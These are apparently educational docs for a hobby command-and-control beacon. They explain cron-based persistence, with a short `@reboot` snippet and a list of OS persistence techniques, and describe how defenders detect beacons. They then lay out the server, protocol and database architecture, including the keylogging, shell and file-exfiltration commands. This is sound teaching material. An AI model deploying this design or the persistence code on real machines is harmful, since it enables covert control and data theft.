Persistence means the implant survives system reboots. Without persistence, the beacon dies when the machine restarts, and the attacker has to re-compromise the target from scratch. That is expensive and risky. Every compromise attempt is a chance to get caught.
Our project implements one persistence mechanism: cron-based persistence on Linux. The `handle_persist` function in `beacon/beacon.py` adds a `@reboot` cron entry that re-launches the beacon script when the system starts:
```python
beacon_path = os.path.abspath(__file__)
cron_entry = f"@reboot /usr/bin/python3 {beacon_path} &"
```
The function reads the current crontab, checks if the entry already exists (to avoid duplicates), and appends it if needed.
Cron persistence is straightforward and effective on Linux systems, but it is also straightforward to detect. Any defender who checks `crontab -l` will see it. More sophisticated attackers use harder-to-detect mechanisms.
Here are the common persistence techniques organized by operating system:
**Linux:**
- Cron jobs (what we use) - `@reboot` entries or scheduled entries
- Systemd services - a `.service` unit file in `/etc/systemd/system/`
- Bash profile modification - adding execution lines to `~/.bashrc` or `~/.profile`
- Init scripts - adding to `/etc/rc.local` or `/etc/init.d/`
**Windows:**
- Registry run keys - `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` or the HKLM equivalent
- Scheduled tasks - `schtasks.exe /create` with various triggers
- DLL hijacking - placing a malicious DLL in a directory searched before the legitimate one
- Windows services - registering as a system service
- WMI event subscriptions - triggering execution on WMI events
**macOS:**
- Launch agents - plist files in `~/Library/LaunchAgents/`
- Launch daemons - plist files in `/Library/LaunchDaemons/`
- Login items - using the Shared File List or Service Management framework
- Dylib hijacking - the macOS equivalent of DLL hijacking
Each of these maps to a different MITRE ATT&CK sub-technique under T1053 (Scheduled Task/Job), T1547 (Boot or Logon Autostart Execution), or T1574 (Hijack Execution Flow). The common thread: the attacker arranges for their code to run automatically when some trigger fires (boot, login, scheduled time, application launch).
---
## Detection and Defense
### How Blue Teams Detect C2
Understanding detection is just as important as understanding the attack. If you only know how to build C2, you are missing half the picture. Here is how defenders find and stop beacon traffic.
**Network Signatures and Traffic Analysis**
The most direct detection method. Network security monitoring (NSM) tools analyze traffic for patterns associated with C2:
- **Periodic beaconing patterns.** Even with jitter, statistical analysis can identify connections that occur at semi-regular intervals. Tools like RITA (Real Intelligence Threat Analytics) specialize in detecting beaconing by analyzing connection frequency distributions. If a host contacts the same external server 480 times in 24 hours at roughly 3-minute intervals, that is statistically identifiable.
- **Unusual WebSocket connections.** Most corporate workstations do not maintain long-lived WebSocket connections to external servers. A WebSocket connection that persists for hours and transmits small, regular messages is suspicious. Our project uses plain WebSocket (the `ws://` scheme), which means the traffic content is visible to any inline inspection device.
- **Encoded payload patterns.** Base64-encoded blobs in WebSocket frames are unusual for legitimate applications. While some applications use Base64 for binary data, a sustained pattern of Base64 messages with consistent sizes at regular intervals stands out.
- **JA3/JA3S fingerprinting.** JA3 creates a hash of the TLS Client Hello parameters (cipher suites, extensions, elliptic curves). JA3S does the same for the Server Hello. Known C2 frameworks produce distinctive JA3 fingerprints because they use specific TLS libraries with specific configurations. Cobalt Strike's default JA3 hash is well-documented and widely signatured. Our project does not use TLS in development, which makes this specific detection method inapplicable but also means our traffic is completely readable to anyone on the network.
- **DNS anomalies.** DNS-based C2 frameworks (like the DNS modes in Cobalt Strike, Sliver, and Brute Ratel) encode data in DNS queries and responses. Detectable signs include high volumes of TXT record queries, unusually long subdomain labels, and DNS traffic to domains with high entropy names. Our project does not use DNS for C2, but you should know about this technique.
**Behavioral Analysis on Endpoints**
Even if the network traffic is encrypted and blends in, the actions the beacon takes on the host are detectable:
- **Processes spawning shells.** When our beacon executes a `shell` command, it creates a child process running a shell command. A Python process spawning `/bin/sh` or `cmd.exe` is suspicious. EDR products track process parent-child relationships. If `python3` spawns `bash` which spawns `whoami`, that process tree gets flagged.
- **Unusual file access.** The `download` command reads files. The `upload` command writes to `/tmp/`. The `screenshot` command accesses screen capture APIs. EDR products monitor these operations and can flag anomalous patterns, especially when they originate from a process that does not normally do these things.
- **Keylogger hooks.** Our `keylog_start` command uses `pynput` to hook keyboard events. On Linux, this involves reading from `/dev/input/` devices or using X11 input extensions. On Windows, it would use `SetWindowsHookEx`. EDR products specifically watch for input hook installation because legitimate applications rarely need to intercept all keystrokes.
**Endpoint Detection Artifacts**
- **Persistence artifacts.** Defenders monitor cron tabs, systemd services, registry run keys, and scheduled tasks for unauthorized changes. A new `@reboot` cron entry pointing to a Python script in an unusual location is an obvious indicator of compromise (IOC).
- **Suspicious files on disk.** Our beacon sits on disk as a regular Python file. File integrity monitoring (FIM) tools notice new files in unexpected locations. Antivirus and EDR products scan files against known signatures and behavioral heuristics.
- **Process injection indicators.** Advanced C2 implants inject their code into legitimate processes (like `svchost.exe` or `explorer.exe`) to hide. Our beacon does not do this, which means the `python3` process running `beacon.py` is visible in process listings. That makes it easier to find but also means we are not teaching process injection techniques, which is appropriate for a beginner project.
### Why Our Project Is Easy to Detect
This is intentional, and it is important to be honest about the limitations:
**No TLS.** Our WebSocket connection uses `ws://` (plain text) in development, not `wss://` (TLS-encrypted). Any network monitoring tool can read the raw WebSocket frames. In a real engagement, all C2 traffic would be encrypted with TLS at minimum.
**Fixed XOR key.** The key is set in the configuration and never changes. If a defender captures one message and determines the key (which is straightforward given the known plaintext attack described above), they can decode all past and future messages. Real C2 frameworks rotate encryption keys per session or per message.
**No process injection or hollowing.** Our beacon runs as its own visible process. A defender running `ps aux | grep python` or checking the process list in a task manager will see it. Advanced implants inject into trusted processes so they inherit that process's reputation and visibility.
**No AMSI bypass or EDR evasion.** On Windows, the Antimalware Scan Interface (AMSI) lets security products inspect scripts before execution. Advanced C2 frameworks include AMSI bypass techniques. Our project does not address this at all.
**No domain fronting or traffic blending.** The beacon connects directly to the C2 server's address. Sophisticated C2 setups use domain fronting (routing traffic through CDN infrastructure so the visible domain differs from the actual destination) or mimic legitimate application traffic patterns.
**Beacon file sits plainly on disk.** No packing, no obfuscation, no fileless execution. The source code of the beacon is readable by anyone with filesystem access.
All of these limitations are deliberate. The goal of this project is to teach you how C2 architecture works. Once you understand the server-beacon-operator pattern, the encoding pipeline, the task queue model, and the detection surface, you have the foundation to understand what more advanced frameworks do and why. Teaching evasion techniques in a beginner project would prioritize the wrong things.
---
## Industry Standards and Frameworks
### MITRE ATT&CK
We have referenced MITRE ATT&CK throughout this document, but it deserves its own section.
ATT&CK stands for Adversarial Tactics, Techniques, and Common Knowledge. The framework is maintained by The MITRE Corporation and is freely available at [https://attack.mitre.org/](https://attack.mitre.org/).
The framework is organized in a matrix:
- **Tactics** are the columns. They represent the "why" of an attack. Examples: Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Exfiltration, Command and Control.
- **Techniques** are the cells under each tactic. They represent the "how." Example: under Execution, you find T1059 (Command and Scripting Interpreter), T1053 (Scheduled Task/Job), T1569 (System Services), and many others.
- **Sub-techniques** add specificity. T1059.001 is PowerShell specifically. T1059.004 is Unix Shell. T1053.003 is Cron.
- **Procedures** are real-world examples of a technique being used by a specific threat group or malware family.
When you build detections, you think in terms of ATT&CK coverage. "We can detect T1059.001 (PowerShell execution) and T1053.003 (cron persistence) but we have no coverage for T1055 (process injection)." This gap analysis drives security investment decisions.
Our project touches these tactic categories:
- **Execution** (shell command)
- **Discovery** (sysinfo, proclist)
- **Collection** (screenshot, keylogging)
- **Exfiltration** (download)
- **Persistence** (cron)
- **Command and Control** (upload, sleep, and the entire beacon-server communication model)
### The Pyramid of Pain
David Bianco published the Pyramid of Pain in 2013 to describe how different types of indicators affect an attacker when defenders use them for detection. The pyramid has six levels, from easiest to hardest for defenders to use (and from least to most painful for attackers to change):
```
/\
/ \
/ TTPs \ <-- Very painful to change
/--------\
/ Tools \ <-- Challenging
/------------\
/ Network/Host\ <-- Annoying
/ Artifacts \
/----------------\
/ Domain Names \ <-- Simple (buy new domain)
/------------------\
/ IP Addresses \ <-- Easy (get new IP)
/--------------------\
/ Hash Values \ <-- Trivial (recompile)
```
Here is how C2 infrastructure maps to this pyramid:
**Hash Values (trivial).** If defenders detect our beacon by its file hash, the attacker recompiles with a minor change and gets a new hash. This is the lowest value detection method.
**IP Addresses (easy).** If defenders block the C2 server's IP address, the attacker spins up a new server on a different IP. Cloud infrastructure makes this take minutes.
**Domain Names (simple).** Blocking the C2 domain is slightly more painful because the attacker needs to register new domains and reconfigure beacons. But domains are cheap and plentiful.
**Network Artifacts (annoying).** This is where things start to matter. If defenders detect the beacon's specific WebSocket frame pattern, the Base64-encoded XOR payloads, or the beaconing interval distribution, the attacker has to modify the protocol. That requires development effort. For our project, the encoding scheme and message format are network artifacts.
**Tools (challenging).** Detecting the C2 framework itself (not just its network traffic, but its capabilities and behavior patterns) forces the attacker to switch tools entirely. Moving from Cobalt Strike to Sliver because Cobalt Strike is too heavily signatured is a real cost.
**TTPs (very painful).** Tactics, Techniques, and Procedures are at the top. If defenders detect "any process that establishes a persistent outbound WebSocket connection and periodically spawns shell commands," the attacker cannot just change a tool or a domain. They have to fundamentally change their operational approach. This is the holy grail of detection engineering.
The lesson: detecting our beacon by its XOR key or file hash is low value. Detecting it by its behavioral pattern (periodic WebSocket connection + shell spawning + file access + cron modification) is high value because those behaviors persist regardless of what encoding scheme or IP address the attacker uses.
---
## Testing Your Understanding
Work through these questions before moving to the next section. If you can answer all five without looking back at the text, you have a solid grasp of the fundamentals.
**1. Why do beacons initiate outbound connections instead of the server connecting inbound?**
Corporate firewalls block unsolicited inbound connections. Workstations sit behind NAT without public IP addresses. Outbound connections on standard ports (80, 443) are typically allowed because employees need web access. By having the beacon call out, the C2 traffic blends with normal web traffic and bypasses perimeter security controls that only filter inbound connections.
**2. What is the purpose of jitter in a beacon's sleep interval?**
Jitter adds randomness to the check-in timing. Without jitter, a beacon sleeping for exactly 3 seconds creates a perfectly periodic traffic pattern that is trivially detectable by network monitoring tools. With 30% jitter, the interval varies between 2.1 and 3.9 seconds, making the pattern statistically harder to identify as automated beaconing.
**3. How does XOR encoding differ from real encryption like AES-256?**
XOR with a repeating key is vulnerable to known plaintext attacks and frequency analysis. If you know any portion of the plaintext (and you do, because JSON messages have predictable structure), you can recover the key. AES-256 is a block cipher that uses multiple rounds of substitution, permutation, and mixing operations. It is resistant to all known cryptanalytic attacks when used correctly with proper key management, random initialization vectors, and appropriate cipher modes. XOR is obfuscation. AES is encryption. They are fundamentally different in security guarantees.
**4. Name three ways a defender could detect our beacon's traffic on a network.**
Any three of: (a) Identifying periodic WebSocket connections with semi-regular timing patterns. (b) Detecting Base64-encoded payloads in WebSocket text frames. (c) Observing the process spawning shell commands after receiving WebSocket messages. (d) Monitoring for new cron entries created by non-standard processes. (e) Flagging the unencrypted (`ws://`) WebSocket connection to an external server. (f) Identifying the beacon process by name in process listings.
**5. Why does our beacon use exponential backoff for reconnection?**
Two reasons. First, it prevents the beacon from hammering a server that is temporarily down, which would create visible network noise and look like scanning or DDoS activity. Second, if many beacons lose connection simultaneously (say the server restarts), exponential backoff with some randomness spreads their reconnection attempts over time rather than having all of them hit the server at once. The cap at 300 seconds ensures the beacon eventually reconnects in a reasonable timeframe even after extended outages.
---
## Further Reading
- **MITRE ATT&CK Framework:** [https://attack.mitre.org/](https://attack.mitre.org/) - The definitive reference for adversary tactics and techniques. Start with the Enterprise matrix and explore the techniques our project implements.
- **The C2 Matrix:** [https://www.thec2matrix.com/](https://www.thec2matrix.com/) - A community-maintained spreadsheet comparing dozens of C2 frameworks by features, protocols, and capabilities. Useful for understanding the landscape beyond the frameworks mentioned in this document.
- **Cobalt Strike Documentation:** [https://www.cobaltstrike.com/](https://www.cobaltstrike.com/) - Understanding Cobalt Strike is important because it set the standard that most modern C2 frameworks follow. Even if you never use it, knowing its concepts (malleable profiles, named pipes, spawn-to processes) gives you vocabulary the industry uses daily.
- **David Bianco's Pyramid of Pain:** The original blog post from 2013 that defined how different indicator types affect adversaries. Search for "David Bianco Pyramid of Pain" to find the original and many derivatives.
- **SANS Reading Room - C2 Analysis:** SANS publishes research papers on C2 detection and analysis. Their papers on network threat hunting and beaconing detection are particularly relevant to what we have built here.
- **Red Canary Threat Detection Report:** Published annually, this report covers the most prevalent ATT&CK techniques observed in real incidents. It provides concrete examples of how the techniques in our project manifest in actual breaches.

View File

@ -0,0 +1,527 @@
<!-- © AngelaMos | 2026 | 02-ARCHITECTURE.md -->
# Architecture: How the C2 System Fits Together
This document walks through every component in the C2 beacon project, how they connect, how data flows between them, and why the design decisions were made the way they were. By the end you should be able to trace a command from the operator dashboard all the way down to the beacon executing it on a target machine, and back again.
Estimated reading time: 20-30 minutes.
---
## Table of Contents
1. [High Level Architecture](#high-level-architecture)
2. [Component Breakdown](#component-breakdown)
3. [Data Flow](#data-flow)
4. [Protocol Design](#protocol-design)
5. [Database Schema](#database-schema)
6. [Design Decisions](#design-decisions)
7. [Security Architecture](#security-architecture)
8. [Deployment Architecture](#deployment-architecture)
9. [Key Files Reference](#key-files-reference)
---
## High Level Architecture
Here is the full picture of every moving part and how they talk to each other:
```
┌─────────────────────────────────────────────────────────────┐
│ Docker Network │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Nginx │────>│ Backend │ │ Frontend │ │
│ │ :47430 │ │ :8000 │ │ :5173 │ │
│ └──────────┘ └──────────┘ └──────────┘ │
│ │ │ │
│ │ ┌────┴────┐ │
│ │ │ SQLite │ │
│ │ │ (WAL) │ │
│ │ └─────────┘ │
└───────┼─────────────────────────────────────────────────────┘
┌────┴────┐
│ Beacon │ (runs on target machine, outside Docker)
└─────────┘
```
Five components, three networks, one protocol. Let's break each one down.
### Nginx (port 47430)
Nginx is the single entry point for everything. Every request, whether from a beacon connecting over WebSocket, an operator viewing the dashboard, or a REST API call, enters through port 47430. Nginx inspects the URL path and routes accordingly:
- `/api/ws/*` goes to the backend WebSocket handlers. This covers both `/api/ws/beacon` (for beacon connections) and `/api/ws/operator` (for operator dashboard connections). Nginx upgrades these to WebSocket connections by setting the `Upgrade` and `Connection` headers.
- `/api/*` (non-WebSocket) goes to the backend REST endpoints. These serve beacon listings, task history, health checks, and the OpenAPI docs.
- Everything else (`/`) goes to the frontend. In development that means proxying to Vite's dev server on port 5173. In production Nginx serves the pre-built static files directly from disk.
The nginx configuration lives in `infra/nginx/dev.nginx` for development and `infra/nginx/prod.nginx` for production. The shared base config at `infra/nginx/nginx.conf` defines upstreams, rate limiting zones, gzip settings, and the WebSocket upgrade map.
One thing worth noticing: the WebSocket locations have `proxy_read_timeout 3600s`. Normal HTTP locations use 30-60 second timeouts. WebSocket connections are long-lived by nature, so nginx needs to know not to kill them after a minute of apparent inactivity.
### Backend (port 8000)
The backend is a FastAPI async application that does three jobs simultaneously:
1. **Beacon management.** It accepts WebSocket connections from beacons, validates their REGISTER messages, tracks them in memory and SQLite, and delivers tasks through per-beacon async queues.
2. **Operator management.** It accepts WebSocket connections from operator dashboards, sends them real-time events (beacon connected, heartbeat, task result), and receives task submission requests.
3. **REST API.** It serves beacon listings and task history for any client that needs them, plus health checks for Docker's container orchestration.
The backend uses FastAPI's `lifespan` context manager to initialize the database, the beacon registry, the task manager, and the operator broadcast manager at startup. All three singletons are attached to `app.state` so every request handler can access them. The app factory pattern in `backend/app/__main__.py` wires everything together: CORS middleware, routers for beacon WebSocket, operator WebSocket, and REST endpoints.
### Frontend (port 5173 dev)
The frontend is a React application built with Vite, TypeScript, and SCSS modules. It connects to the backend through a single WebSocket at `/api/ws/operator` and maintains all state in a Zustand store.
When the dashboard loads, the `useOperatorSocket` hook opens a WebSocket connection. The server immediately sends a `beacon_list` message with every known beacon. From there, the frontend receives real-time events: `beacon_connected`, `beacon_disconnected`, `heartbeat`, `task_result`, and `task_submitted`. The Zustand store in `frontend/src/core/ws.ts` processes each event type and updates the corresponding state slice.
The operator can select a beacon from the dashboard and open a session page, which provides a terminal-like interface for submitting commands. When the operator submits a task, the frontend sends a `submit_task` message over the same WebSocket. The server responds with a `task_submitted` confirmation mapping the local ID to the server-generated task ID, and later broadcasts the `task_result` when the beacon reports back.
### SQLite (WAL mode)
The database is a single SQLite file at `backend/data/c2.db`. It stores three tables: `beacons`, `tasks`, and `task_results`. The backend initializes the schema on startup in `backend/app/database.py` and enables WAL (Write-Ahead Logging) mode with `PRAGMA journal_mode=WAL`.
WAL mode is important here because the backend has concurrent reads happening. While one coroutine is writing a task result, another might be reading the beacon list for an operator query. WAL allows readers and writers to operate simultaneously without blocking each other. In the default rollback journal mode, a write would lock the entire database and block all reads until the write commits.
The `get_db()` async context manager yields a fresh `aiosqlite` connection each time, with `row_factory` set to `aiosqlite.Row` so query results come back as dict-like objects instead of plain tuples. Foreign keys are enabled on every connection.
### Beacon (runs on target)
The beacon is a standalone Python script at `beacon/beacon.py` that runs outside the Docker stack, on whatever machine you point it at. It has its own copy of the XOR encoding functions (deliberately duplicated so the beacon has zero dependencies on the server codebase) and a dispatch table mapping command strings to handler functions.
On startup, the beacon connects to the server via WebSocket, sends a REGISTER message with system metadata (hostname, OS, username, PID, internal IP, architecture), then enters its main loop. It sends periodic heartbeats with jitter applied to the sleep interval, and waits for TASK messages from the server. When a task arrives, the beacon dispatches it to the appropriate handler, collects the output, and sends a RESULT message back.
If the connection drops, the beacon uses exponential backoff (starting at 2 seconds, capping at 5 minutes) to reconnect. This is standard behavior for real-world implants, because hammering a dead server at full speed is a great way to get noticed by network monitoring.
---
## Component Breakdown
### Backend Layers
The backend follows a layered structure that separates protocol concerns from business logic from persistence:
```
backend/app/
├── __main__.py
├── config.py
├── database.py
├── core/
│ ├── encoding.py
│ ├── protocol.py
│ └── models.py
├── beacon/
│ ├── registry.py
│ ├── router.py
│ └── tasking.py
└── ops/
├── manager.py
└── router.py
```
**`__main__.py`** is the application factory. It creates the FastAPI instance, configures CORS, sets up logging, initializes the database schema, and instantiates the three core singletons (BeaconRegistry, TaskManager, OpsManager) during the lifespan startup. The `create_app()` function mounts all routers and defines the health check endpoint. Uvicorn runs this directly via `app.__main__:app`.
**`config.py`** uses Pydantic Settings to load configuration from environment variables and the `.env` file. It defines the XOR key, database path, CORS origins, log level, and server bind options. The `@lru_cache` decorator on `get_settings()` ensures the `.env` file is parsed exactly once.
**`database.py`** owns the SQLite schema definition and provides two functions: `init_db()` for one-time schema creation at startup, and `get_db()` as an async context manager for per-request database connections.
**`core/encoding.py`** implements the XOR-with-repeating-key cipher plus Base64 wrapping. The `encode()` function takes a plaintext string and a key, XORs the UTF-8 bytes against the key bytes (cycling the key), and returns a Base64 ASCII string. The `decode()` function reverses the process. This is symmetric, so the same key works in both directions.
**`core/protocol.py`** defines the `Message` envelope (a Pydantic model with a `type` field and a `payload` dict) and the `MessageType` enum (REGISTER, HEARTBEAT, TASK, RESULT, ERROR). The `pack()` function serializes a Message to JSON and encodes it with XOR+Base64. The `unpack()` function decodes a raw string, parses the JSON, and validates it back into a Message. If any step fails (bad Base64, bad JSON, bad schema), it raises a `ValueError`.
**`core/models.py`** defines the Pydantic data models used across the system: `BeaconMeta` (registration payload), `BeaconRecord` (full database record), `TaskRequest` (operator submission), `TaskRecord` (persisted task), and `TaskResult` (beacon response). It also defines `CommandType` as a StrEnum listing all supported commands: shell, sysinfo, proclist, upload, download, screenshot, keylog_start, keylog_stop, persist, and sleep.
**`beacon/registry.py`** is the `BeaconRegistry` class. It maintains a dict of `beacon_id -> WebSocket` for active connections and provides methods to register, unregister, check active status, update heartbeat timestamps, and query the database for beacon records. When a beacon registers, it upserts to the `beacons` table (INSERT with ON CONFLICT DO UPDATE), so reconnecting beacons update their metadata without creating duplicates.
**`beacon/router.py`** defines the `/ws/beacon` WebSocket endpoint. This is the most complex piece of the backend. When a beacon connects, the handler accepts the WebSocket, waits for a REGISTER message, validates it, registers the beacon, then spawns two concurrent asyncio tasks: `_send_tasks` (which blocks on the beacon's task queue and sends TASK messages) and `_receive_messages` (which processes incoming HEARTBEAT and RESULT messages). The `asyncio.wait` with `FIRST_COMPLETED` pattern ensures that if either coroutine fails (usually because the WebSocket disconnected), the other gets cancelled cleanly.
**`beacon/tasking.py`** is the `TaskManager` class. It maintains a dict of `beacon_id -> asyncio.Queue[TaskRecord]` for per-beacon task delivery. When an operator submits a task, `submit()` writes it to SQLite and puts it on the queue. The `_send_tasks` coroutine in the beacon router calls `get_next()`, which blocks until a task appears. When a result comes back, `store_result()` writes it to the `task_results` table and marks the parent task as completed.
**`ops/manager.py`** is the `OpsManager` class. It tracks a set of operator WebSocket connections and provides a `broadcast()` method that sends a JSON event to all connected operators. If a send fails (connection already closed), the stale WebSocket is removed from the set. This fan-out pattern means every operator sees every event in real time.
**`ops/router.py`** defines two routers: `ws_router` for the `/ws/operator` WebSocket endpoint, and `rest_router` for the REST endpoints (`/beacons`, `/beacons/{id}`, `/beacons/{id}/tasks`). When an operator connects via WebSocket, the handler sends the full beacon list immediately, then enters a receive loop waiting for `submit_task` messages. The REST endpoints provide the same data for non-WebSocket clients or for initial page loads.
---
## Data Flow
### Beacon Registration Flow
Here is what happens from the moment a beacon starts up to when the operator sees it on their dashboard:
```
Beacon Server Operator Dashboard
│ │ │
│──REGISTER(sysinfo)────>│ │
│ │──INSERT beacon──> SQLite │
│ │ │
│ │──beacon_connected──────────>│
│ │ │
<──(connection held)────│ │
│ │ │
│──HEARTBEAT────────────>│ │
│ │──UPDATE last_seen─> SQLite │
│ │──heartbeat────────────────>│
```
Step by step:
1. The beacon opens a WebSocket to `/api/ws/beacon` (which nginx proxies to the backend at `/ws/beacon`).
2. The beacon sends a REGISTER message containing system metadata: hostname, OS, username, PID, internal IP, and architecture. This payload goes through XOR+Base64 encoding before hitting the wire.
3. The server's `beacon_websocket` handler in `beacon/router.py` accepts the connection, unpacks the first message, validates it as a REGISTER type, and extracts the `BeaconMeta` fields.
4. The server calls `registry.register()`, which stores the WebSocket reference in memory and upserts the beacon record into SQLite. If this beacon ID was seen before (a reconnection), the metadata gets updated and `first_seen` is preserved.
5. The server broadcasts a `beacon_connected` event to all operator WebSocket connections via `ops_manager.broadcast()`.
6. The operator dashboard's Zustand store receives the event, calls `upsertBeacon()`, and the dashboard table re-renders with the new beacon showing a green "active" indicator.
7. The server spawns the `_send_tasks` and `_receive_messages` coroutines. The connection is now held open indefinitely.
8. Every few seconds (with jitter), the beacon sends a HEARTBEAT message. The server updates `last_seen` in SQLite and broadcasts the heartbeat to operators, keeping the "last seen" timestamp fresh on the dashboard.
### Task Execution Flow
Here is the full round trip when an operator issues a command:
```
Operator Server Beacon
│ │ │
│──submit_task──────────>│ │
│ │──INSERT task──> SQLite │
│ │──queue.put(task) │
<──task_submitted───────│ │
│ │ │
│ │──TASK(XOR+B64)────────>│
│ │ │──execute
│ │<──RESULT(XOR+B64)──────│
│ │──INSERT result─> SQLite │
│ │──UPDATE task status │
<──task_result──────────│ │
```
Step by step:
1. The operator types a command in the session terminal UI and hits enter. The frontend's `sendTask()` function sends a JSON message over the operator WebSocket: `{"type": "submit_task", "payload": {"beacon_id": "...", "command": "shell", "args": "whoami", "local_id": "..."}}`. This message is plain JSON because the operator-server channel runs entirely within Docker.
2. The server's `operator_websocket` handler in `ops/router.py` receives the message, creates a `TaskRecord` with a UUID, and calls `task_manager.submit()`.
3. `submit()` does two things: it INSERTs the task into the `tasks` table in SQLite (so it persists if the server restarts), and it puts the TaskRecord onto the `asyncio.Queue` for that specific beacon.
4. The server sends a `task_submitted` response back to the operator with the mapping of `local_id` to `task_id`. The frontend uses this to correlate results later.
5. Meanwhile, in `beacon/router.py`, the `_send_tasks` coroutine for this beacon has been blocked on `task_manager.get_next(beacon_id)`. The queue.put() unblocks it. The coroutine packs the task into a Message, encodes it with XOR+Base64, and sends it to the beacon over the WebSocket.
6. The beacon receives the raw text, unpacks it (Base64 decode, XOR decrypt, JSON parse), and dispatches the command to the appropriate handler. For a `shell` command, that means calling `asyncio.create_subprocess_shell()` and capturing stdout/stderr.
7. The beacon packs the result (task_id, output, error) into a RESULT message, encodes it, and sends it back to the server.
8. The server's `_receive_messages` coroutine receives the RESULT, unpacks it, creates a `TaskResult` object, and calls `task_manager.store_result()`. This writes the result to the `task_results` table and updates the parent task's status to `completed`.
9. The server broadcasts a `task_result` event to all operator WebSocket connections.
10. The operator dashboard's Zustand store receives the event, calls `addTaskResult()`, and the session terminal renders the output.
The entire round trip typically takes less than a second on a local network. The bottleneck is usually the command execution on the target machine.
---
## Protocol Design
### Message Types
Every message between the beacon and server follows the same envelope structure: a `type` string and a `payload` dictionary. Here are all five message types:
| Type | Direction | Payload Fields | Purpose |
|------|-----------|----------------|---------|
| REGISTER | Beacon -> Server | hostname, os, username, pid, internal_ip, arch, id | Initial handshake when beacon first connects |
| HEARTBEAT | Beacon -> Server | id | Keep-alive signal, updates last_seen timestamp |
| TASK | Server -> Beacon | id, command, args | Delivers a command for the beacon to execute |
| RESULT | Beacon -> Server | task_id, output, error | Returns command output back to the server |
| ERROR | Either direction | message | Reports a protocol or execution error |
The `Message` model in `backend/app/core/protocol.py` uses a Pydantic `BaseModel` with `type: MessageType` (a StrEnum) and `payload: dict[str, Any]`. The StrEnum means the type field is validated against the known set of message types during unpacking. If a beacon sends a message with `"type": "BOGUS"`, Pydantic's validation catches it and the server raises a ValueError.
### Encoding Pipeline
The beacon-server channel and the operator-server channel use different encoding strategies:
```
Beacon <-> Server
JSON string -> UTF-8 bytes -> XOR(key) -> Base64 -> WebSocket text frame
Server <-> Operator
JSON string -> WebSocket text frame (no encoding)
```
The beacon-server channel runs XOR+Base64 encoding on every message. The `encode()` function in `backend/app/core/encoding.py` takes a plaintext JSON string, converts it to UTF-8 bytes, XORs each byte against the corresponding byte of the repeating key, and Base64-encodes the result into an ASCII string suitable for a WebSocket text frame. The `decode()` function reverses this: Base64 decode, XOR with the same key, UTF-8 decode.
The operator-server channel sends plain JSON. No encoding at all.
Why the difference? The beacon-server channel simulates encrypted C2 communications. In a real C2 framework, this channel would use AES-256 or ChaCha20 with a per-session key negotiated through an asymmetric key exchange. Our XOR cipher is a placeholder that demonstrates the concept without the complexity of real cryptography. It shows where encoding happens in the pipeline, how symmetric keys work, and why you need the same key on both sides.
The operator-server channel skips encoding because the operator is a trusted party operating on the same infrastructure. The operator dashboard connects through nginx on the same Docker network. There is no untrusted network between them, so encoding the messages would add latency and complexity with no security benefit. In a production C2, you would still want TLS on this channel, but the application-layer encoding that protects beacon traffic is unnecessary for operator traffic.
### Why XOR and Not AES
XOR with a repeating key is one of the weakest ciphers that exists. It is vulnerable to known-plaintext attacks, frequency analysis, and key recovery if you know any part of the plaintext. We chose it deliberately because:
- It is easy to understand. You can trace through the encoding by hand with a calculator.
- It is symmetric. The same function encrypts and decrypts.
- It demonstrates the full pipeline. The encode/decode/pack/unpack functions would have the same signatures with AES.
- Swapping it for a real cipher later requires changing exactly two functions in `encoding.py` and their equivalents in the beacon.
The key is configured in `.env` as `XOR_KEY` and loaded through Pydantic Settings in `backend/app/config.py`. The beacon reads it from the `C2_XOR_KEY` environment variable. Both sides must have the same key, which is the fundamental property of symmetric encryption.
---
## Database Schema
The database has three tables with foreign key relationships:
```
beacons (id PK) <--- tasks (beacon_id FK) <--- task_results (task_id FK)
```
### beacons
```sql
CREATE TABLE IF NOT EXISTS beacons (
id TEXT PRIMARY KEY,
hostname TEXT NOT NULL,
os TEXT NOT NULL,
username TEXT NOT NULL,
pid INTEGER NOT NULL,
internal_ip TEXT NOT NULL,
arch TEXT NOT NULL,
first_seen TEXT NOT NULL,
last_seen TEXT NOT NULL
);
```
Each row is a beacon that has connected at least once. The `id` is a UUID generated by the beacon on first run. `first_seen` is set on initial registration and never updated. `last_seen` is updated on every heartbeat and on disconnect. The remaining columns capture the system metadata the beacon collected during registration.
Registration uses INSERT with ON CONFLICT(id) DO UPDATE, so if a beacon reconnects with the same ID, the metadata gets refreshed but `first_seen` is preserved from the original row.
### tasks
```sql
CREATE TABLE IF NOT EXISTS tasks (
id TEXT PRIMARY KEY,
beacon_id TEXT NOT NULL,
command TEXT NOT NULL,
args TEXT,
status TEXT NOT NULL DEFAULT 'pending',
created_at TEXT NOT NULL,
completed_at TEXT,
FOREIGN KEY (beacon_id) REFERENCES beacons(id)
);
```
Each row is a task submitted by an operator for a specific beacon. The `id` is a server-generated UUID. `command` is one of the `CommandType` enum values (shell, sysinfo, proclist, etc.). `args` is an optional string payload whose meaning depends on the command type. For a shell command, it is the shell command string. For an upload, it is a JSON blob with filename and content. For sleep, it is a JSON blob with interval and jitter.
`status` starts as `'pending'` and transitions to `'completed'` when a result comes back. `created_at` is set at submission time, `completed_at` is set when the result is stored.
### task_results
```sql
CREATE TABLE IF NOT EXISTS task_results (
id TEXT PRIMARY KEY,
task_id TEXT NOT NULL UNIQUE,
output TEXT,
error TEXT,
created_at TEXT NOT NULL,
FOREIGN KEY (task_id) REFERENCES tasks(id)
);
```
Each row is the result of a completed task. The `task_id` foreign key is UNIQUE, enforcing a one-to-one relationship with the tasks table (each task produces exactly one result). `output` contains the command's stdout or structured JSON, depending on the command type. `error` contains stderr or an error message. Both can be NULL.
### Why SQLite with WAL Mode
SQLite is the right choice for this project for several reasons:
**Single server, single writer.** Our C2 server is one process. There is no cluster of backend instances competing for database access. SQLite handles single-writer workloads perfectly.
**WAL mode handles concurrent reads.** The backend is async, so multiple coroutines might read the database simultaneously (an operator querying the beacon list while the server is processing a heartbeat). WAL mode allows concurrent readers without blocking, which the default rollback journal mode does not. The `init_db()` function in `database.py` enables WAL with `PRAGMA journal_mode=WAL`.
**Zero configuration.** SQLite is embedded in the Python process. There is no separate database server to configure, no connection pooling to tune, no network latency between the application and the database. The database is a single file at `backend/data/c2.db`.
**Good enough for educational scope.** A production C2 framework that needs to support multiple team servers, geographic distribution, or hundreds of concurrent beacons would use PostgreSQL. For a single-server educational project, SQLite keeps the focus on C2 architecture instead of database administration.
---
## Design Decisions
